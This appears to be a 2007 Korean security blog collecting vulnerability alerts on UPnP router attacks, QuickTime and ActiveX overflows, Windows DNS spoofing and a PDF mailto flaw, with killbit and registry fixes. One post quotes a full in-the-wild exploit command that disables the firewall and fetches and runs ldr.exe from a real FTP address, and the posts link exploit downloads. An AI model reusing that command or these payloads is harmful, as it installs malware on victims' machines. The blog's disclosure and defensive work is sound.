태터데스크 관리자

도움말
닫기
적용하기   첫페이지 만들기

태터데스크 메시지

저장하였습니다.

Security Now 127: Securing the enterprise 를 청취하다 보니 새로운 XSS 공격법에 대한 소개가 나왔다. 너도 나도 XSS 취약점을 발표하는 마당에 XSS는 이제는 식상하다는 선입견을 가지고 있기에 그냥 넘기려고 했는데, 주제가 의외로 흥미롭다. Flash UPNP를 공격하는 공격 코드가 나왔다는 것이다. 플래시의 URLRequest ObjectNavigateToURL 함수를 이용해서 사용자의 컴퓨터에서 UPNP사용하는 라우터로 라우터의 세팅을 바꾸는 요청을 보내는 것이다.

궁금해서 웹서칭을 해보니 Hacking The Interwebs에서 해당 공격법을 자세히 설명하고 있었다.

이러한 공격법은 라우터의 DNS 서버 레코드등을 바꿔서 phising등의 공격에 이용될 가능성이 많다고 한다.


UPNP는 “Universal Plug and Play"의 줄임말로서 주로 가전용 네트워크 장비들끼리 서로 원활한 네트워킹을 위해 만들어진 프로토콜이다. 이 프로토콜이 처음 나왔던 90년대 후반만 해도 과연 이런 것을 어디에나 쓸까 하는 생각이 들었었다. 하지만 일반 가정집에 있는 네트워크에 물린 장비를 세어 보아라. PC는 몰론 XBOXPS3,Wii와 같이 게임기들과 함께 iPod Touch나 프린터들도 요즈음에는 유선이나 무선랜에 물리는 경우가 많다.


여러 가전 기기 중에서도 특히 XBOX와 같은 게임기들의 경우 원활한 포트 사용을 위해서 UPNP를 통해서 라우터의 포트 포워딩 세팅등을 바꾼다고 한다. 게임을 제대로 즐기기 위해서 많은 경우 라우터 UPNP풀어 놓을 것을 권고하는 경우가 많다고 한다. 그렇지 않을 경우 일일이 라우터에 접속하여 포트포워딩 세팅을 수동으로 해주어야 하는 번거러움이 따른다.

문제는 UPNP의 프로토콜이 거의 HTTP와 동일하다는 것이다. 단지 Content-Type 등을 “application/xml”로 바꿔주고, POST 메쏘드를 사용하기만 하면 그만이다.


Hacking The Interwebs원문서에는 공격 기법이 비교적 상세히 기술되어 있고, 사용하는 샘플 Flash 공격 코드까지 올라와 았다. 공개된 공격코드는 단지 외부에서 내부로의 포트 포워딩을 열어주는 수준이지만, 앞에서 말한대로 주 DNS 서버를 해커의 것으로 바꿔 버리면 그야말로 사용자의 모든 트래픽을 감시하고 통제하는 것이 가능하고, 궁극적으로 phising공격에 악용될 소지가 많다.


원문서에 따르면 90% 이상의 가정용 라우터들이 취약하다고 한다. 현재 알려진 단 하나의 해결 방법은 라우터의 UPNP 세팅을 비활성화 시키는 것이다. 시간이 나고 UPNP사용하지 않는다면 오늘 당장이라도 UPNP를 비활성화 시킬 것을 권한다.







Daum 블로거뉴스
블로거뉴스에서 이 포스트를 추천해주세요.
Posted by 오정욱

스플로잇 제공 사이트로 유명한 milw0rm.com에 애플사의 퀵타임 플레이어의 버그에 대한 익스플로잇이 4개나 올라 갔다. 모두 같은 문제점을 이용하는 것으로 RTSP 프로토콜의 Content-Type 필드의 스택 오버플로우 취약점이다. 이는 아주 초보적인 실수로서, 익스플로잇의 성공율은 굉장히 높은 것으로 확인되었다.

비스타에서도 해당 취약점이 작동하므로 주의를 기울여야 한다. 비스타의 개선된 보안성에도 불구하고, 해당 배포 패키지들에는 해당 기술들이 전혀 사용되지 않았으므로 쉽게 익스플로잇이 되는 것으로 보인다.

이미 4개 이상의 퍼블릭한 익스플로잇이 나와 있으므로 이를 이용한 말웨어도 이미 존재할 것으로 예측된다.




련 링크들:

Apple Quicktime (Vista/XP RSTP Response) Remote Code Exec

Apple QuickTime RTSP Response Header Content-Length Remote Buffer Overflow Vulnerability

Apple QuickTime 7.2/7.3 RSTP Response Universal Exploit (win/osx)

http://www.milw0rm.com/sploits/11272007-qt_public.tar.gz

Apple QuickTime 7.2/7.3 RSTP Response Universal Exploit (cool)

Zero-Day Exploit for Apple QuickTime Vulnerability

Apple QuickTime 7.3 RTSP Response Vista / XPSP2 Universal



Daum 블로거뉴스
블로거뉴스에서 이 포스트를 추천해주세요.
Posted by 오정욱

미국 시간으로 11 13일 화요일 오전 마이크로 소프트사에서개의 패치가 발표 되었다. 정기적인 패치 릴리즈 계획에 따른 것이다. 매달 두번째 화요일인 이 날을 통상적으로 패치 투스데이(Patch Tuesday)라고 부른다.

번에는 단지 두개의 패치가 발표 되었지만 모두 중요도가 높고 파급 효과가 높은 것들이었다.

첫번째 패치인 Vulnerability in Windows URI Handling Could Allow Remote Code Execution (943460) IE7의 프로토콜 핸들러의 오작동으로 인한 것으로 간단하게 대상 시스템에서 명령을 실행 시킬 수 있다. 이를 악용한 악성 코드가 대체로 PDF 파일을 이용하여 공격한 바 있다.

두번재 패치는 Vulnerability in DNS Could Allow Spoofing (941672)로서 DNS 서버의 취약점에 대한 것이다. 이미 Windows DNS Server Cache Poisoning라는 문서에서 자세한 공격법이 밝혀진바 있다. 아직 공개된 코드(exploit)는 없지만, 생각보다 간단하게 공격 코드를 완성할 수 있었다. 이미 러시아 등지에서 해당 취약점을 이용한 대규모 파밍 공격이 벌어졌다는 보고가 있다고 한다.

격의 원리는 간단하다. DNS 패킷의 경우 UDP를 주로 사용하게 되는데, 시퀀스 넘버등을 사용하지 않음으로 인해서UDP TCP에 비해서 스푸핑에 취약하다는 맹점이 있다. DNS의 경우 각 쿼리 패킷에 트랜잭션 아이디(Transaction ID)를 부여하여 패킷을 전송하고 응답 패킷에서 해당 트랜잭션 아이디가 그대로 되돌아 왔는지 확인하는 방법으로 스푸핑을 방지하고 있다. 하지만, 윈도우즈 계열의 DNS 서버에서는 이 트랜잭션 아이디가 추측이 가능하다는 데에 문제가 발생한다.

랜잭션 아이디는 아래와 같이 16비트의 값으로서, M은 순수하게 랜덤한 값이지만 C L에는 어떠한 규칙성이 존재한다.

15

14

13

12

11

10

9

8

7

6

5

4

3

2

1

0

0

0

M=pseudo random data

C=n%256

L



n 변수는 패킷이 하나 나갈 때마다 1씩 증가하게 되므로 C를 추측하는 것은 간단하다. L의 경우는 다음과 같은 공식으로 통해서 계산된다고 한다.


L=(T[C mod 8][n mod 7]+(C mod 8)·t) mod 8




기에서 우리가 모르는 변수는 t로서 시간과 관련된 변수이다. 하지만 이 공식의 문제는 C mod 8 0이 될 때에는 L의 값이 항상 0가 된다는 것이다. C는 추측이 가능하므로 8패킷에 하나마다 C L을 확실하게 알 수 있는 경우가 생긴다. 이 경우 단지 3비트의 M 값만 맞추면 트랜잭션 아이디를 맞출 수 있게 된다. 3비트는 8개의 경우의 수를 만들므로 8개의 가짜 응답을 보내면 그 중에 하나는 맞게 된다.

Windows DNS Server Cache Poisoning 문서를 보면 해당 공격을 실질적으로 행할 수 있는 방법으로 "Cname Chain"을 들고 있다. 이 방법에 대해서 나중에 따로 설명을 하겠다.










Daum 블로거뉴스
블로거뉴스에서 이 포스트를 추천해주세요.
Posted by 오정욱

919일에 이미 공격 코드(jetAudio 7.x ActiveX DownloadFromMusicStore() 0day Remote Code Execution Exploit)까지 발표된 상태인데, 아직 패치가 안된듯 하다.

약 제트오디오의 버전이 7로 시작한다면 문제가 있을 가능성이 많다. 확인해 본 결과 6.x 대에서는 문제가 발생하지 않았다.

음은 실제 테스트를 통해서 취약점을 확인한 화면이다. 만약 거원 제트오디오의 “Download Manager”가 갑자기 뜬다면 공격을 의심해 봐도 될듯 하다.

사용자 삽입 이미지

사진 1: 공격 화면



격이 성공하면 임의로 아무 파일이나 덮어 쓸 수 있으며, 특정 실행 파일들을 덮어 써서 원하는 코드를 실행하도록 유도할 수 있다.



ActiveX의 버그이므로, 치대신 킬빗(Killbit)을 설정하여 해당 컴오브젝트를 웹에서 부르지 못하도록 설정할 수 있다. 취약한 ActiveXCLSID는 다음과 같다.

8D1636FD-CA49-4B4E-90E4-0A20E03A15E8

따라서 문서 How to stop an ActiveX control from running in Internet Explorer 의 가이드라인에 따라서 다음과 같은 파일을 이용하여 킬빗(Killbit)을 설정할 수 있다.

CowonJetAudioBugFix.reg

이 파일을 더블클릭하여 실행하면 킬빗이 설정되어 해당 취약점에서 안전해 질 수 있습니다.





Daum 블로거뉴스
블로거뉴스에서 이 포스트를 추천해주세요.
Posted by 오정욱
사용자 삽입 이미지
 주위에서 이미 pdf 파일을 이용한 공격으로 피해를 당하는 사람들이 늘고 있다.

해당 파일을 실행하면 Adobe pdf 파일의 메일 링크를 열지 않도록 한다.
아직까지 IE7 패치가 나오지 않은 이상 간단하지만 강력한 보안 책이다.

공격은 첨부된 pdf 파일을 단지 더블 클릭하면 실행되고, 임시 파일에 ftp 명령어를 써 넣은뒤 cmd.exe를 통해서 실행 시키는 방식이다.

해당 reg 파일을 통한 패치는 adobe pdf 리더의 이러한 mail 링크 기능을 임시로 죽여 주는 역할을 한다.

Ignore.reg

이 파일을 다운로드 해서 실행 시켜 주기만 하면 된다.

 
공격에 대한 자료는 2007/10/24 - [일/취약점 경보] - PDF 잘못된 URI 설정을 사용한 공격: PDF 파일 함부로 열지 말자 를 참조하기 바란다.
Daum 블로거뉴스
블로거뉴스에서 이 포스트를 추천해주세요.
Posted by 오정욱

서 교환을 위해 자주 사용되는 pdf 파일을 이용한 취약점이 발견되었다.

리는 간단하게 다음과 같다. pdf에서 mailto 태그를 처리하는 루틴에서 %를 사용하여 명령이 escape되는 것 때문입니다.

mailto:test%../../../../windows/system32/calc.exe".cmd


약한 대상은 다음과 같다.

Windows Server 2003 and Windows XP with Internet Explorer 7 installed

Adobe 제품군 뿐만 아니라 Firefox,Outlook,Outlook Express,Netscape 웹브라우저,Skype까지 이 공격에 취약하다고 한다. 근본적인 문제는 IE7에 있고, ShellExecute 컴포넌트를 이용하는 모든 프로그램이 취약하다고 볼 수 있다.

미국 현지 시간으로 10 23 Full Disclosure에서 돌아 다니는 exploit command line이 공개 되었다. 익스플로잇은 특정 사이트의 ftp 사이트에 접속하여 ldr.exe라는 바이너리를 다운로드 하여 실행 시키는 역할을 한다.

mailt0:%/../../../../../../Windows/system32/cmd".exe"" /c /q \"@echo

off&netsh firewall set opmode mode=disable&echo o 81.95.146.130>1&echo

binary>>1&echo get /ldr.exe>>1&echo quit>>1&ftp -s:1 -v -A>nul&del /q 1&

start ldr.exe&\" \"&\" "nul.bat"





PS. mailt0 == mailto



제 떠돌고 있는 악성 pdf 파일을 실행한 화면은 다음과 같다.








Pdf 취약점은 간단하게 exploit이 가능하므로 알지 못하는 사람으로 부터 전달된 pdf 파일은 되도록 열지 않는 것이 좋다.



Fixes

음 제품에 대한 업데이트를 설치할 수 있다.

Adobe Reader 8.1.1 update files

http://www.adobe.com/support/downloads/product.jsp?product=10&platform=Windows

Acrobat 8.1.1 update files

http://www.adobe.com/support/downloads/product.jsp?product=1&platform=Windows

Adobe 8 버전 이하의 제품에 대한 패치는 현재 제공되지 않고, 어도비 공식 사이트에서는 레지스트리 설정을 변경하는 방법을 권고하고 있다.

내가 만든 패치: 2007/10/29 - [일/취약점 경보] - Adobe pdf 파일 공격에 대한 패치


References

http://spacebunny.xepher.net/hack/shellexecutefiasco/

http://www.heise-security.co.uk/news/97462

http://www.heise-security.co.uk/news/97246

http://www.heise-security.co.uk/news/97139

http://www.heise-security.co.uk/news/97094

http://www.heise-security.co.uk/news/96982

http://www.heise-security.co.uk/news/93470

http://www.microsoft.com/technet/security/advisory/943521.mspx

http://blogs.technet.com/msrc/archive/2007/10/10/msrc-blog-additional-details-and-background-on-security-advisory-943521.aspx

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3896

http://www.securityfocus.com/bid/25748

http://searchsecurity.techtarget.com/originalContent/0,289142,sid14_gci1275885,00.html?track=sy160&asrc=RSS_RSS-10_160

http://seclists.org/fulldisclosure/2007/Oct/0730.html

http://it.slashdot.org/article.pl?sid=07/10/18/1533222&from=rss






Daum 블로거뉴스
블로거뉴스에서 이 포스트를 추천해주세요.
Posted by 오정욱

Yahoo! Webcam ActiveX 취약점에 대한 디스어셈블리.

음 링크에서 소개되고 있는 취약점에 대한 개인적인 disassembly입니다.

http://research.eeye.com/html/alerts/zeroday/20070606.html

call strcpy를 하는 부분에서 버퍼 오버플로우가 발생하게 됩니다.. 이 루틴의 여러 종류의 COM 메쏘드를 통해서 불리울 수 있다.

exploit http://archives.neohapsis.com/archives/fulldisclosure/2007-06/0131.html http://archives.neohapsis.com/archives/fulldisclosure/2007-06/0133.html 참조하기를 바랍니다.




Disassembling

ywcvwr

02700000 02723000 ywcvwr C (export symbols) ywcvwr.dll


.text:03971000 ; Input MD5 : 75BB9620F65D004B02331B6EE87DEEA7

.text:03971000

.text:03971000 ; File Name : C:\Program Files\Yahoo!\Messenger\ywcvwr.dll

.text:03971000 ; Format : Portable executable for 80386 (PE)

.text:03971000 ; Imagebase : 10000000

.text:03971000 ; Section 1. (virtual address 00001000)

.text:03971000 ; Virtual size : 00015356 ( 86870.)

.text:03971000 ; Section size in file : 00016000 ( 90112.)

.text:03971000 ; Offset to raw data for section: 00001000

.text:03971000 ; Flags 60000020: Text Executable Readable

.text:03971000 ; Alignment : default

.text:03971000 ; OS type : MS Windows

.text:03971000 ; Application type: DLL 32bit

.text:03971000


Base in File: 03971000

Loaded: 02700000



Point of Interest: 027067bc

-02700000=67bc


03971000+67bc=39777BC- 00001000= 39767BC


.text:039767A2 push eax ; char *

.text:039767A3 push 3FFh ; cbData

.text:039767A8 lea eax, [ebp-434h]

.text:039767AE push eax ; lpData

.text:039767AF push offset ValueName ; "WebcamServer"

.text:039767B4 lea ecx, [ebp-34h]

.text:039767B7 call sub_39731E9

.text:039767BC mov eax, [esi+2FCh]


0397676B

.text:0397676B or dword ptr [ebp-4], 0FFFFFFFFh

.text:0397676F test eax, eax

.text:03976771 mov [esi+2FCh], eax

.text:03976777 jz loc_3976867

.text:0397677D push 80000001h

.text:03976782 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager\\"

.text:03976787 lea ecx, [ebp-34h]

.text:0397678A call sub_397324C

.text:0397678F lea ecx, [esi+220h]

.text:03976795 mov dword ptr [ebp-4], 1

.text:0397679C call ds:?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(void)


call sub_39731E9

.text:039767A2 push eax ; char *

.text:039767A3 push 3FFh ; cbData

.text:039767A8 lea eax, [ebp-434h]

.text:039767AE push eax ; lpData

.text:039767AF push offset ValueName ; "WebcamServer"

.text:039767B4 lea ecx, [ebp-34h]

.text:039767B7 call sub_39731E9

.text:039767BC mov eax, [esi+2FCh]

.text:039767C2 mov ebx, [eax]


call sub_39731E9

.text:0397C913 push 80000001h

.text:0397C918 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager\\"

.text:0397C91D lea ecx, [ebp-30h]

.text:0397C920 call sub_397324C

.text:0397C925 push offset aWebcam_yahoo_c ; "webcam.yahoo.com"

.text:0397C92A push 63h ; cbData

.text:0397C92C lea eax, [ebp-94h]

.text:0397C932 push eax ; lpData

.text:0397C933 push offset ValueName ; "WebcamServer"

.text:0397C938 lea ecx, [ebp-30h]

.text:0397C93B mov byte ptr [ebp-4], 11h

0397C93F call sub_39731E9

sub_39731E9

.text:039731E9 ; int __stdcall sub_39731E9(LPCSTR lpValueName,char *lpData,DWORD cbData,char *)

.text:039731E9 sub_39731E9 proc near ; CODE XREF: sub_397671E+99#p

.text:039731E9 ; sub_397C7C5+17A#p

.text:039731E9

.text:039731E9 Type= dword ptr -8

.text:039731E9 hKey= dword ptr -4

.text:039731E9 lpValueName= dword ptr 8

.text:039731E9 lpData= dword ptr 0Ch

.text:039731E9 cbData= dword ptr 10h

.text:039731E9 arg_C= dword ptr 14h

.text:039731E9

.text:039731E9 push ebp

.text:039731EA mov ebp, esp

.text:039731EC push ecx

.text:039731ED push ecx

.text:039731EE and [ebp+Type], 0

.text:039731F2 push esi

.text:039731F3 mov esi, ecx

.text:039731F5 lea eax, [ebp+hKey]

.text:039731F8 push eax ; phkResult

.text:039731F9 lea ecx, [esi+4]

.text:039731FC call ds:?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(void)

.text:03973202 push eax ; lpSubKey

.text:03973203 push dword ptr [esi] ; hKey

.text:03973205 call ds:RegOpenKeyA

.text:0397320B test eax, eax

.text:0397320D pop esi

.text:0397320E jnz short loc_3973232

.text:03973210 lea eax, [ebp+cbData]

.text:03973213 push eax ; lpcbData

.text:03973214 push [ebp+lpData] ; lpData

.text:03973217 lea eax, [ebp+Type]

.text:0397321A push eax ; lpType

.text:0397321B push 0 ; lpReserved

.text:0397321D push [ebp+lpValueName] ; lpValueName

.text:03973220 push [ebp+hKey] ; hKey

.text:03973223 call ds:RegQueryValueExA

.text:03973229 push [ebp+hKey] ; hKey

.text:0397322C call ds:RegCloseKey

.text:03973232

.text:03973232 loc_3973232: ; CODE XREF: sub_39731E9+25#j

.text:03973232 cmp [ebp+Type], 1

.text:03973236 jz short loc_3973245

call strcpy

.text:03973238 push [ebp+arg_C] ; char *

.text:0397323B push [ebp+lpData] ; char *

.text:0397323E call strcpy

.text:03973243 pop ecx

.text:03973244 pop ecx

.text:03973245

.text:03973245 loc_3973245: ; CODE XREF: sub_39731E9+4D#j

.text:03973245 mov eax, [ebp+lpData]

.text:03973248 leave

.text:03973249 retn 10h

.text:03973249 sub_39731E9 endp






Daum 블로거뉴스
블로거뉴스에서 이 포스트를 추천해주세요.
Posted by 오정욱